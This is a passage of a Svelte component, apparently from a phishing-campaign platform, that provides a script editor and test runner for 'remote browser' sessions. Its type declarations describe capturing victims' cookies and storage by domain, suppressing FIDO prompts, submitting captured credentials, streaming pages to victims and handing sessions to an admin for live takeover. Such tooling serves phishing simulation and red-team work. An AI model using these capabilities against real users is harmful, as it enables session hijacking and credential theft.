parseConfig(config);
|
||||
}
|
||||
_lastBuilt = config;
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Right panel tabs
|
||||
// -------------------------------------------------------------------------
|
||||
let activeTab = 'config'; // 'config' | 'run'
|
||||
let isScriptDirty = false;
|
||||
$: isScriptDirty = editor ? editor.getValue() !== savedScript : script !== savedScript;
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Run / Test
|
||||
// -------------------------------------------------------------------------
|
||||
/** @type {WebSocket|null} */
|
||||
let ws = null;
|
||||
let isRunning = false;
|
||||
/** @type {Array<Record<string, any>>} */
|
||||
let runLog = [];
|
||||
let logContainer;
|
||||
|
||||
// live stream (View / Control) — populated once the backend sends {"type":"session","id":"..."}
|
||||
let streamSessionID = '';
|
||||
let streamVisible = false;
|
||||
let streamControlMode = false;
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Event injection (simulate victim input)
|
||||
// -------------------------------------------------------------------------
|
||||
let injectEvent = '';
|
||||
let injectData = '';
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Screenshot modal
|
||||
// -------------------------------------------------------------------------
|
||||
/** @type {string|null} */
|
||||
let screenshotModalSrc = null;
|
||||
let screenshotModalLabel = '';
|
||||
let screenshotModalURL = '';
|
||||
|
||||
function sendEvent() {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN || !injectEvent.trim()) return;
|
||||
let data;
|
||||
try {
|
||||
data = JSON.parse(injectData);
|
||||
} catch {
|
||||
data = injectData || null;
|
||||
}
|
||||
ws.send(JSON.stringify({ event: injectEvent.trim(), data }));
|
||||
runLog = [...runLog, { type: 'sent', event: injectEvent.trim(), data, time: now() }];
|
||||
setTimeout(scrollLogToBottom, 0);
|
||||
injectEvent = '';
|
||||
injectData = '';
|
||||
}
|
||||
|
||||
function scrollLogToBottom() {
|
||||
if (logContainer) {
|
||||
logContainer.scrollTop = logContainer.scrollHeight;
|
||||
}
|
||||
}
|
||||
|
||||
async function startRun() {
|
||||
if (!id) {
|
||||
runLog = [
|
||||
...runLog,
|
||||
{ type: 'error', message: 'Save the remote browser first before running.', time: now() }
|
||||
];
|
||||
return;
|
||||
}
|
||||
if (isRunning) return;
|
||||
|
||||
runLog = [];
|
||||
isRunning = true;
|
||||
activeTab = 'run';
|
||||
|
||||
const proto = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const url = `${proto}//${window.location.host}/api/v1/remote-browser/${id}/run`;
|
||||
ws = new WebSocket(url);
|
||||
|
||||
ws.onmessage = (ev) => {
|
||||
try {
|
||||
const msg = JSON.parse(ev.data);
|
||||
if (msg.type === 'session') {
|
||||
streamSessionID = msg.id;
|
||||
return;
|
||||
}
|
||||
runLog = [...runLog, msg];
|
||||
// defer scroll so DOM has updated
|
||||
setTimeout(scrollLogToBottom, 0);
|
||||
if (msg.type === 'done' || msg.type === 'error') {
|
||||
isRunning = false;
|
||||
}
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
};
|
||||
|
||||
ws.onerror = () => {
|
||||
runLog = [...runLog, { type: 'error', message: 'WebSocket connection error.', time: now() }];
|
||||
isRunning = false;
|
||||
streamSessionID = '';
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
isRunning = false;
|
||||
streamSessionID = '';
|
||||
};
|
||||
}
|
||||
|
||||
function stopRun() {
|
||||
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||
ws.send(JSON.stringify({ type: 'stop' }));
|
||||
}
|
||||
isRunning = false;
|
||||
}
|
||||
|
||||
function now() {
|
||||
return new Date().toISOString();
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Monaco editor setup
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const remoteBrowserDTS = `
|
||||
interface SessionOptions {
|
||||
/** DevTools WebSocket URL — connects to an existing Chrome instead of launching one */
|
||||
remote?: string;
|
||||
/** SOCKS5 or HTTP proxy, e.g. "socks5://127.0.0.1:1080" */
|
||||
proxy?: string;
|
||||
/** Run Chrome headless (default: from config) */
|
||||
headless?: boolean;
|
||||
/** Close the session after this many ms of no browser activity */
|
||||
idleTimeout?: number;
|
||||
/** Log every action to the test runner */
|
||||
debug?: boolean;
|
||||
/** Max ms for read-only CDP calls (getText, evaluate, …); 0 = no limit */
|
||||
queryTimeout?: number;
|
||||
/** Override the User-Agent header sent by Chrome */
|
||||
userAgent?: string;
|
||||
}
|
||||
|
||||
interface CaptureOptions {
|
||||
/** Filter cookies to these domains, e.g. ["google.com"] */
|
||||
domains?: string[];
|
||||
/** Only keep cookies with these names */
|
||||
cookieNames?: string[];
|
||||
/** Include localStorage (default true unless domains is set) */
|
||||
localStorage?: boolean;
|
||||
/** Include sessionStorage (default true unless domains is set) */
|
||||
sessionStorage?: boolean;
|
||||
}
|
||||
|
||||
interface CaptureResult {
|
||||
cookies?: Array<{ name: string; value: string; domain: string; path: string; [key: string]: any }>;
|
||||
localStorage?: Record<string, string>;
|
||||
sessionStorage?: Record<string, string>;
|
||||
}
|
||||
|
||||
interface Session {
|
||||
// ── Navigation ────────────────────────────────────────────────────────────
|
||||
/** Navigate to a URL and wait for the page to load */
|
||||
navigate(url: string): void;
|
||||
navigateBack(): void;
|
||||
navigateForward(): void;
|
||||
reload(): void;
|
||||
/** Stop the current page load */
|
||||
stop(): void;
|
||||
/** Returns the current page URL */
|
||||
location(): string;
|
||||
/** Returns the current page title */
|
||||
title(): string;
|
||||
|
||||
// ── Waiting ───────────────────────────────────────────────────────────────
|
||||
/** Wait until any of the given selectors is visible; returns the matched selector */
|
||||
waitVisible(...selectors: string[]): string;
|
||||
/** Wait until any of the given selectors is visible and enabled; returns the matched selector */
|
||||
waitReady(...selectors: string[]): string;
|
||||
/** Wait until any of the given selectors is enabled; returns the matched selector */
|
||||
waitEnabled(...selectors: string[]): string;
|
||||
/** Wait until any of the given selectors has a selected option; returns the matched selector */
|
||||
waitSelected(...selectors: string[]): string;
|
||||
/** Wait until any of the given selectors is not visible; returns the matched selector */
|
||||
waitNotVisible(...selectors: string[]): string;
|
||||
/** Wait until any of the given selectors is absent from the DOM; returns the matched selector */
|
||||
waitNotPresent(...selectors: string[]): string;
|
||||
|
||||
// ── Mouse ─────────────────────────────────────────────────────────────────
|
||||
click(selector: string): void;
|
||||
doubleClick(selector: string): void;
|
||||
clickXY(x: number, y: number): void;
|
||||
scrollIntoView(selector: string): void;
|
||||
|
||||
// ── Keyboard ──────────────────────────────────────────────────────────────
|
||||
/** Focus the element and type text character by character */
|
||||
sendKeys(selector: string, text: string): void;
|
||||
/** Press a named key: "Enter", "Tab", "Escape", "ArrowDown", "Backspace", … */
|
||||
keyEvent(key: string): void;
|
||||
|
||||
// ── Form ──────────────────────────────────────────────────────────────────
|
||||
/** Clear an input value and fire input/change events */
|
||||
clear(selector: string): void;
|
||||
focus(selector: string): void;
|
||||
blur(selector: string): void;
|
||||
/** Submit a form element */
|
||||
submit(selector: string): void;
|
||||
setValue(selector: string, value: string): void;
|
||||
getValue(selector: string): string;
|
||||
|
||||
// ── DOM reading ───────────────────────────────────────────────────────────
|
||||
getText(selector: string): string;
|
||||
getTextContent(selector: string): string;
|
||||
getInnerHTML(selector: string): string;
|
||||
getOuterHTML(selector: string): string;
|
||||
getAttribute(selector: string, attr: string): string | null;
|
||||
/** Returns all HTML attributes as a plain object */
|
||||
getAttributes(selector: string): Record<string, string>;
|
||||
setAttribute(selector: string, attr: string, value: string): void;
|
||||
removeAttribute(selector: string, attr: string): void;
|
||||
/** Read a JS property (e.g. "checked", "selectedIndex") */
|
||||
getJSAttribute(selector: string, prop: string): any;
|
||||
setJSAttribute(selector: string, prop: string, value: string): void;
|
||||
/** Count elements matching selector */
|
||||
getNodeCount(selector: string): number;
|
||||
|
||||
// ── JavaScript evaluation ─────────────────────────────────────────────────
|
||||
/** Evaluate a JS expression in the page context and return the result */
|
||||
evaluate(expression: string): any;
|
||||
|
||||
// ── Screenshots ───────────────────────────────────────────────────────────
|
||||
/** Take a full-page screenshot, visible in the test runner log */
|
||||
screenshot(name: string): void;
|
||||
screenshotElement(selector: string, name: string): void;
|
||||
|
||||
// ── Viewport & emulation ─────────────────────────────────────────────────
|
||||
setViewport(width: number, height: number): void;
|
||||
setViewportMobile(width: number, height: number): void;
|
||||
resetViewport(): void;
|
||||
setUserAgent(ua: string): void;
|
||||
|
||||
// ── Capture ───────────────────────────────────────────────────────────────
|
||||
/** Capture cookies and storage; saves to campaign timeline automatically */
|
||||
capture(options?: CaptureOptions): CaptureResult;
|
||||
|
||||
// ── Utility ───────────────────────────────────────────────────────────────
|
||||
/** Pause execution for the given number of milliseconds */
|
||||
wait(ms: number): void;
|
||||
/** Enable CDP WebAuthn virtual authenticator — suppresses FIDO browser dialogs */
|
||||
disableFidoUI(): void;
|
||||
/** Park the script and signal that the browser is ready for admin live takeover */
|
||||
keepAlive(): void;
|
||||
/**
|
||||
* Run fn with a scoped timeout; receives a sub-session limited to that timeout.
|
||||
* @example s.withTimeout(5000, t => t.waitVisible('#otp'))
|
||||
*/
|
||||
withTimeout(ms: number, fn: (s: Session) => void): void;
|
||||
close(): void;
|
||||
|
||||
// ── Event-driven API ─────────────────────────────────────────────────────
|
||||
/** Register a handler called when the victim page sends this event */
|
||||
on(event: string, handler: (data: any) => void): void;
|
||||
/** Start processing incoming victim events; blocks until done() is called */
|
||||
listen(): void;
|
||||
/** Signal listen() to stop processing */
|
||||
done(): void;
|
||||
|
||||
// ── Streaming ─────────────────────────────────────────────────────────────
|
||||
/**
|
||||
* Stream the element matching selector to the victim page as a live JPEG feed.
|
||||
* Returns a stop() function.
|
||||
* @param selector CSS selector for the element to stream
|
||||
* @param name Stream name sent to the victim page
|
||||
* @param options.fps Max frames per second (0 = unlimited)
|
||||
* @param options.quality JPEG quality 1-100 (default 92)
|
||||
*/
|
||||
stream(selector: string, name: string, options?: { fps?: number; quality?: number }): () => void;
|
||||
}
|
||||
|
||||
/** Open a new browser session */
|
||||
declare function newSession(options?: SessionOptions): Session;
|
||||
/** Send an event to the victim page (visible to the victim's JS) */
|
||||
declare function emit(key: string, value?: any): void;
|
||||
/** Log a message to the test runner */
|
||||
declare function log(message: string, data?: any): void;
|
||||
/** Record an info note to the campaign timeline */
|
||||
declare function info(message: string): void;
|
||||
/** Submit arbitrary captured data (e.g. credentials) to the campaign timeline */
|
||||
declare function submitData(data: any): void;
|
||||
/** Block until an incoming victim event with the given name arrives; returns its data */
|
||||
declare function waitForEvent(event: string): any;
|
||||
/** Block until any of the listed victim events arrive; returns { event, data } */
|
||||
declare function waitForAny(...events: string[]): { event: string; data: any };
|
||||
|
||||
// Minimal ECMAScript built-ins available in the goja runtime.
|
||||
// (No DOM, no Node.js — those are not available in scripts.)
|
||||
declare var JSON: {
|
||||
parse(text: string): any;
|
||||
stringify(value: any, replacer?: any, space?: string | number): string;
|
||||
};
|
||||
declare var Math: {
|
||||
readonly PI: number;
|
||||
abs(x: number): number;
|
||||
ceil(x: number): number;
|
||||
floor(x: number): number;
|
||||
max(...values: number[]): number;
|
||||
min(...values: number[]): number;
|
||||
random(): number;
|
||||
round(x: number): number;
|
||||
pow(x: number, y: number): number;
|
||||
sqrt(x: number): number;
|
||||
};
|
||||
declare function parseInt(string: string, radix?: number): number;
|
||||
declare function parseFloat(string: string): number;
|
||||
declare function isNaN(value: number): boolean;
|
||||
declare function String(value?: any): string;
|
||||
declare function Number(value?: any): number;
|
||||
declare function Boolean(value?: any): boolean;
|
||||
declare function encodeURIComponent(uriComponent: string): string;
|
||||
declare function decodeURIComponent(encodedURI: string): string;
|
||||
`;
|
||||
|
||||
/** @type {import('monaco-editor').IDisposable|null} */
|
||||
let completionProvider = null;
|
||||
|
||||
function destroyVimMode() {
|
||||
try {
|
||||
if (vimModeInstance) {
|
||||
vimModeInstance.dispose();
|
||||
vimModeInstance = null;
|
||||
}
|
||||
destroyVimClipboardIntegration();
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
|
||||
onMount(() => {
|
||||
parseConfig(config);
|
||||
|
||||
const checkDarkMode = () => {
|
||||
if (typeof window !== 'undefined') {
|
||||
isDark = document.documentElement.classList.contains('dark');
|
||||
}
|
||||
};
|
||||
checkDarkMode();
|
||||
|
||||
const observer = new MutationObserver(() => {
|
||||
const newIsDark = document.documentElement.classList.contains('dark');
|
||||
if (newIsDark !== isDark) {
|
||||
isDark = newIsDark;
|
||||
if (editor) monaco.editor.setTheme(isDark ? 'vs-dark' : 'vs-light');
|
||||
}
|
||||
});
|
||||
observer.observe(document.documentElement, { attributes: true, attributeFilter: ['class'] });
|
||||
|
||||
/* @ts-ignore */
|
||||
self.MonacoEnvironment = {
|
||||
getWorker: function (_, label) {
|
||||
if (label === 'typescript' || label === 'javascript') {
|
||||
return new tsWorker();
|
||||
}
|
||||
return new editorWorker();
|
||||
}
|
||||
};
|
||||
|
||||
// Inject the remote browser type definitions into Monaco's JS language service.
|
||||
// noLib removes the full browser DOM lib (window, document, addEventListener, …)
|
||||
// so dot-completion on session objects only shows our declared Session methods.
|
||||
monaco.languages.typescript.javascriptDefaults.setDiagnosticsOptions({
|
||||
noSemanticValidation: true,
|
||||
noSyntaxValidation: false
|
||||
});
|
||||
monaco.languages.typescript.javascriptDefaults.setCompilerOptions({
|
||||
noLib: true,
|
||||
allowJs: true,
|
||||
allowNonTsExtensions: true,
|
||||
target: monaco.languages.typescript.ScriptTarget.ES2020
|
||||
});
|
||||
completionProvider = monaco.languages.typescript.javascriptDefaults.addExtraLib(
|
||||
remoteBrowserDTS,
|
||||
'ts:remotebrowser.d.ts'
|
||||
);
|
||||
|
||||
editor = monaco.editor.create(editorContainer, {
|
||||
value: script,
|
||||
language: 'javascript',
|
||||
theme: isDark ? 'vs-dark' : 'vs-light',
|
||||
minimap: { enabled: false },
|
||||
wordWrap: 'off',
|
||||
folding: false,
|
||||
scrollBeyondLastLine: false,
|
||||
fontSize: 13,
|
||||
automaticLayout: true
|
||||
});
|
||||
|
||||
editor.onDidChangeModelContent(() => {
|
||||
script = editor.getValue();
|
||||
dispatch('change', getModel());
|
||||
});
|
||||
|
||||
// vim mode
|
||||
const unsubVim = vimModeEnabled.subscribe((enabled) => {
|
||||
if (isDestroyed) return;
|
||||
localVimMode = enabled;
|
||||
if (enabled) {
|
||||
vimModeInstance = vimModule.initVimMode(editor, vimStatusBarEl);
|
||||
setupVimClipboardIntegration(editor, vimModeInstance, localVimMode, monaco);
|
||||
} else {
|
||||
destroyVimMode();
|
||||
}
|
||||
});
|
||||
|
||||
_mounted = true;
|
||||
|
||||
return () => {
|
||||
isDestroyed = true;
|
||||
observer.disconnect();
|
||||
unsubVim();
|
||||
destroyVimMode();
|
||||
if (completionProvider) completionProvider.dispose();
|
||||
if (editor) editor.dispose();
|
||||
if (ws) ws.close();
|
||||
};
|
||||
});
|
||||
|
||||
function getModel() {
|
||||
return { name, description, script, config: buildConfig() };
|
||||
}
|
||||
|
||||
// Keep the editor value in sync when script prop changes externally (e.g. when opening a saved record).
|
||||
let prevScript = script;
|
||||
$: if (editor && script !== prevScript && script !== editor.getValue()) {
|
||||
editor.setValue(script);
|
||||
prevScript = script;
|
||||
}
|
||||
</script>
|
||||
|
||||
<div class="flex flex-col h-full">
|
||||
<!-- Top metadata row -->
|
||||
<div class="flex gap-3 mb-3">
|
||||
<div class="flex-1">
|
||||
<TextField
|
||||
width="full"
|
||||
bind:value={name}
|
||||
on:change={() => dispatch('change', getModel())}
|
||||
placeholder="my-remote-browser">Name</TextField
|
||||
>
|
||||
</div>
|
||||
<div class="flex-1">
|
||||
<TextField
|
||||
width="full"
|
||||
bind:value={description}
|
||||
on:change={() => dispatch('change', getModel())}
|
||||
placeholder="Optional description">Description</TextField
|
||||
>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Main split: editor + right panel -->
|
||||
<div
|
||||
class="flex flex-1 gap-0 min-h-0 border border-gray-200 dark:border-gray-700 rounded-md overflow-hidden"
|
||||
>
|
||||
<!-- JS editor (60%) -->
|
||||
<div class="flex flex-col" style="flex: 6; min-width: 0;">
|
||||
<div
|
||||
class="flex items-center justify-between px-3 py-1 bg-gray-100 dark:bg-gray-800 border-b border-gray-200 dark:border-gray-700"
|
||||
>
|
||||
<span class="text-xs font-mono text-gray-500 dark:text-gray-400">JavaScript</span>
|
||||
<button
|
||||
type="button"
|
||||
on:click={() => vimModeEnabled.update((v) => !v)}
|
||||
class="h-8 border-2 rounded-md w-20 px-3 text-center cursor-pointer hover:opacity-80 flex items-center justify-center gap-2 transition-colors duration-200"
|
||||
class:font-bold={localVimMode}
|
||||
class:bg-blue-600={localVimMode}
|
||||
class:dark:bg-blue-500={localVimMode}
|
||||
class:text-white={localVimMode}
|
||||
class:border-blue-600={localVimMode}
|
||||
class:dark:border-blue-500={localVimMode}
|
||||
class:text-gray-700={!localVimMode}
|
||||
class:dark:text-gray-200={!localVimMode}
|
||||
class:bg-white={!localVimMode}
|
||||
class:dark:bg-gray-700={!localVimMode}
|
||||
class:border-gray-300={!localVimMode}
|
||||
class:dark:border-gray-600={!localVimMode}
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" viewBox="0 0 20 20" fill="currentColor">
|
||||
<path d="M3 3h18v18H3V3zm2 2v14h14V5H5zm2 2h10v2H7V7zm0 4h10v2H7v-2zm0 4h6v2H7v-2z" />
|
||||
</svg>
|
||||
<span class="text-xs">Vim</span>
|
||||
</button>
|
||||
</div>
|
||||
<div bind:this={editorContainer} class="flex-1" style="min-height: 0;"></div>
|
||||
<div
|
||||
bind:this={vimStatusBarEl}
|
||||
class="h-5 bg-gray-100 dark:bg-gray-800 text-xs text-gray-500 dark:text-gray-400 px-2"
|
||||
></div>
|
||||
</div>
|
||||
|
||||
<!-- Divider -->
|
||||
<div class="w-px bg-gray-200 dark:border-gray-700 flex-shrink-0"></div>
|
||||
|
||||
<!-- Right panel (40%) -->
|
||||
<div class="flex flex-col" style="flex: 4; min-width: 0;">
|
||||
<!-- Tab bar -->
|
||||
<div class="flex border-b border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800">
|
||||
<button
|
||||
type="button"
|
||||
class="px-4 py-2 text-sm font-medium transition-colors {activeTab === 'config'
|
||||
? 'text-blue-600 dark:text-blue-400 border-b-2 border-blue-500'
|
||||
: 'text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-200'}"
|
||||
on:click={() => (activeTab = 'config')}
|
||||
>
|
||||
Config
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="px-4 py-2 text-sm font-medium transition-colors {activeTab === 'run'
|
||||
? 'text-blue-600 dark:text-blue-400 border-b-2 border-blue-500'
|
||||
: 'text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-200'}"
|
||||
on:click={() => (activeTab = 'run')}
|
||||
>
|
||||
Run / Test
|
||||
{#if isRunning}
|
||||
<span class="ml-1 inline-block w-2 h-2 rounded-full bg-green-400 animate-pulse"></span>
|
||||
{:else if isScriptDirty}
|
||||
<span class="ml-1 inline-block w-2 h-2 rounded-full bg-orange-400"></span>
|
||||
{/if}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<!-- Tab content -->
|
||||
<div class="flex-1 overflow-y-auto p-4 min-h-0">
|
||||
{#if activeTab === 'config'}
|
||||
<div class="space-y-4">
|
||||
<div>
|
||||
<label class="block text-xs font-medium text-gray-600 dark:text-gray-400 mb-1">
|
||||
Browser Mode
|
||||
</label>
|
||||
<div class="flex gap-2">
|
||||
<button
|
||||
type="button"
|
||||
class="flex-1 py-1.5 text-sm rounded border transition-colors {cfgMode === 'local'
|
||||
? 'bg-blue-600 text-white border-blue-600'
|
||||
: 'bg-white dark:bg-gray-800 text-gray-600 dark:text-gray-300 border-gray-300 dark:border-gray-600 hover:border-blue-400'}"
|
||||
on:click={() => {
|
||||
cfgMode = 'local';
|
||||
dispatch('change', getModel());
|
||||
}}
|
||||
>
|
||||
Local
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="flex-1 py-1.5 text-sm rounded border transition-colors {cfgMode ===
|
||||
'remote'
|
||||
? 'bg-blue-600 text-white border-blue-600'
|
||||
: 'bg-white dark:bg-gray-800 text-gray-600 dark:text-gray-300 border-gray-300 dark:border-gray-600 hover:border-blue-400'}"
|
||||
on:click={() => {
|
||||
cfgMode = 'remote';
|
||||
dispatch('change', getModel());
|
||||
}}
|
||||
>
|
||||
Remote
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<p class="text-xs text-gray-400 dark:text-gray-500 mt-2">
|
||||
{#if cfgMode === 'local'}
|
||||
Spawns an isolated Chrome process per session.
|
||||
{:else}
|
||||
Connects to a shared Chrome instance. For debugging only.
|
||||
{/if}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{#if cfgMode === 'remote'}
|
||||
<TextField
|
||||
bind:value={cfgRemote}
|
||||
on:keyup={() => dispatch('change', getModel())}
|
||||
placeholder="ws://localhost:9222">Remote DevTools URL</TextField
|
||||
>
|
||||
{:else}
|
||||
<TextField
|
||||
bind:value={cfgProxy}
|
||||
on:keyup={() => dispatch('change', getModel())}
|
||||
optional={true}
|
||||
placeholder="socks5://127.0.0.1:1080">Proxy</TextField
|
||||
>
|
||||
<div>
|
||||
<label class="flex items-center gap-2 cursor-pointer select-none">
|
||||
<input
|
||||
type="checkbox"
|
||||
bind:checked={cfgHeadless}
|
||||
on:change={() => dispatch('change', getModel())}
|
||||
class="w-4 h-4 rounded border-gray-300 dark:border-gray-600 text-blue-600 focus:ring-blue-500"
|
||||
/>
|
||||
<span class="text-sm text-gray-700 dark:text-gray-300">Headless</span>
|
||||
</label>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<TextField
|
||||
type="number"
|
||||
bind:value={cfgTimeout}
|
||||
on:keyup={() => dispatch('change', getModel())}
|
||||
placeholder="5">Timeout (minutes)</TextField
|
||||
>
|
||||
|
||||
</div>
|
||||
{:else}
|
||||
<div class="flex flex-col h-full gap-3">
|
||||
{#if isScriptDirty}
|
||||
<p class="text-xs text-orange-400">Unsaved changes - save before running.</p>
|
||||
{/if}
|
||||
<!-- Action buttons -->
|
||||
<div class="flex gap-2">
|
||||
{#if !isRunning}
|
||||
<button
|
||||
type="button"
|
||||
class="flex items-center gap-1.5 px-3 py-1.5 text-sm bg-green-600 hover:bg-green-700 text-white rounded transition-colors"
|
||||
on:click={startRun}
|
||||
>
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 20 20"
|
||||
fill="currentColor"
|
||||
class="w-4 h-4"
|
||||
>
|
||||
<path
|
||||
d="M6.3 2.84A1.5 1.5 0 0 0 4 4.11v11.78a1.5 1.5 0 0 0 2.3 1.27l9.344-5.891a1.5 1.5 0 0 0 0-2.538L6.3 2.84Z"
|
||||
/>
|
||||
</svg>
|
||||
Run
|
||||
</button>
|
||||
{:else}
|
||||
<button
|
||||
type="button"
|
||||
class="flex items-center gap-1.5 px-3 py-1.5 text-sm bg-red-600 hover:bg-red-700 text-white rounded transition-colors"
|
||||
on:click={stopRun}
|
||||
>
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 20 20"
|
||||
fill="currentColor"
|
||||
class="w-4 h-4"
|
||||
>
|
||||
<path
|
||||
d="M5.25 3A2.25 2.25 0 0 0 3 5.25v9.5A2.25 2.25 0 0 0 5.25 17h9.5A2.25 2.25 0 0 0 17 14.75v-9.5A2.25 2.25 0 0 0 14.75 3h-9.5Z"
|
||||
/>
|
||||
</svg>
|
||||
Stop
|
||||
</button>
|
||||
{/if}
|
||||
{#if runLog.length > 0}
|
||||
<button
|
||||
type="button"
|
||||
class="px-3 py-1.5 text-sm text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-200 border border-gray-300 dark:border-gray-600 rounded transition-colors"
|
||||
on:click={() => {
|
||||
runLog = [];
|
||||
}}
|
||||
>
|
||||
Clear
|
||||
</button>
|
||||
{/if}
|
||||
{#if streamSessionID}
|
||||
<button
|
||||
type="button"
|
||||
class="flex items-center gap-1.5 px-3 py-1.5 text-sm bg-blue-600 hover:bg-blue-700 text-white rounded transition-colors"
|
||||
on:click={() => { streamControlMode = false; streamVisible = true; }}
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
|
||||
<path d="M10 12.5a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z" />
|
||||
<path fill-rule="evenodd" d="M.664 10.59a1.651 1.651 0 0 1 0-1.186A10.004 10.004 0 0 1 10 3c4.257 0 7.893 2.66 9.336 6.41.147.381.146.804 0 1.186A10.004 10.004 0 0 1 10 17c-4.257 0-7.893-2.66-9.336-6.41ZM14 10a4 4 0 1 1-8 0 4 4 0 0 1 8 0Z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
View
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="flex items-center gap-1.5 px-3 py-1.5 text-sm bg-purple-600 hover:bg-purple-700 text-white rounded transition-colors"
|
||||
on:click={() => { streamControlMode = true; streamVisible = true; }}
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
|
||||
<path fill-rule="evenodd" d="M2 4.25A2.25 2.25 0 0 1 4.25 2h11.5A2.25 2.25 0 0 1 18 4.25v8.5A2.25 2.25 0 0 1 15.75 15h-3.105a3.501 3.501 0 0 0 1.1 1.677A.75.75 0 0 1 13.26 18H6.74a.75.75 0 0 1-.484-1.323A3.501 3.501 0 0 0 7.355 15H4.25A2.25 2.25 0 0 1 2 12.75v-8.5Zm1.5 0a.75.75 0 0 1 .75-.75h11.5a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-.75.75H4.25a.75.75 0 0 1-.75-.75v-7.5Z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
Control
|
||||
</button>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
<!-- Event log -->
|
||||
<div
|
||||
bind:this={logContainer}
|
||||
class="flex-1 overflow-y-auto font-mono text-xs bg-gray-900 dark:bg-gray-950 text-gray-200 rounded p-2 space-y-0.5 min-h-0 select-text"
|
||||
style="max-height: calc(100vh - 18rem);"
|
||||
>
|
||||
{#if runLog.length === 0}
|
||||
<span class="text-gray-500">No events yet. Click Run to execute the script.</span>
|
||||
{:else}
|
||||
{#each runLog as entry}
|
||||
<div
|
||||
class="leading-5 {entry.type === 'event'
|
||||
? 'text-blue-300'
|
||||
: entry.type === 'sent'
|
||||
? 'text-orange-300'
|
||||
: entry.type === 'capture'
|
||||
? 'text-purple-300'
|
||||
: entry.type === 'submit'
|
||||
? 'text-amber-300'
|
||||
: entry.type === 'info'
|
||||
? 'text-sky-300'
|
||||
: entry.type === 'screenshot'
|
||||
? 'text-teal-300'
|
||||
: entry.type === 'error'
|
||||
? 'text-red-400'
|
||||
: entry.type === 'done'
|
||||
? 'text-green-400'
|
||||
: 'text-gray-400'}"
|
||||
>
|
||||
{#if entry.type === 'event'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-blue-400"> emit </span>
|
||||
<span class="text-yellow-400">{entry.key}</span>
|
||||
<span class="text-gray-300"> = </span>
|
||||
<span>{JSON.stringify(entry.value)}</span>
|
||||
{:else if entry.type === 'sent'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-orange-400"> → {entry.event}</span>
|
||||
{#if entry.data !== null && entry.data !== undefined && entry.data !== ''}
|
||||
<span class="text-gray-300"> data=</span><span
|
||||
>{JSON.stringify(entry.data)}</span
|
||||
>
|
||||
{/if}
|
||||
{:else if entry.type === 'screenshot'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-teal-400"> 📷 {entry.key || 'screenshot'}</span>
|
||||
{#if entry.url}
|
||||
<span class="text-gray-500 text-xs font-mono ml-1 truncate max-w-xs inline-block align-middle" title={entry.url}>{entry.url}</span>
|
||||
{/if}
|
||||
<div class="mt-1">
|
||||
<!-- svelte-ignore a11y-click-events-have-key-events -->
|
||||
<!-- svelte-ignore a11y-no-noninteractive-element-interactions -->
|
||||
<img
|
||||
src={entry.value}
|
||||
alt={entry.key || 'screenshot'}
|
||||
class="max-h-32 rounded border border-teal-700/40 cursor-pointer hover:opacity-90 transition-opacity"
|
||||
on:click={() => {
|
||||
screenshotModalSrc = entry.value;
|
||||
screenshotModalLabel = entry.key || 'screenshot';
|
||||
screenshotModalURL = entry.url || '';
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
{:else if entry.type === 'info'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-sky-400"> ℹ info</span>
|
||||
<span class="text-sky-200 ml-1">{entry.message}</span>
|
||||
{:else if entry.type === 'submit'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-amber-400"> ⬆ submitData</span>
|
||||
<pre class="mt-1 text-xs text-amber-200 bg-gray-800 rounded p-1.5 overflow-x-auto max-h-40 overflow-y-auto select-text">{JSON.stringify(entry.value, null, 2)}</pre>
|
||||
{:else if entry.type === 'capture'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-purple-400"> ★ capture</span>
|
||||
{#if entry.value?.cookies}
|
||||
<span class="text-gray-400"> · {entry.value.cookies.length} cookies</span>
|
||||
{/if}
|
||||
{#if entry.value?.localStorage}
|
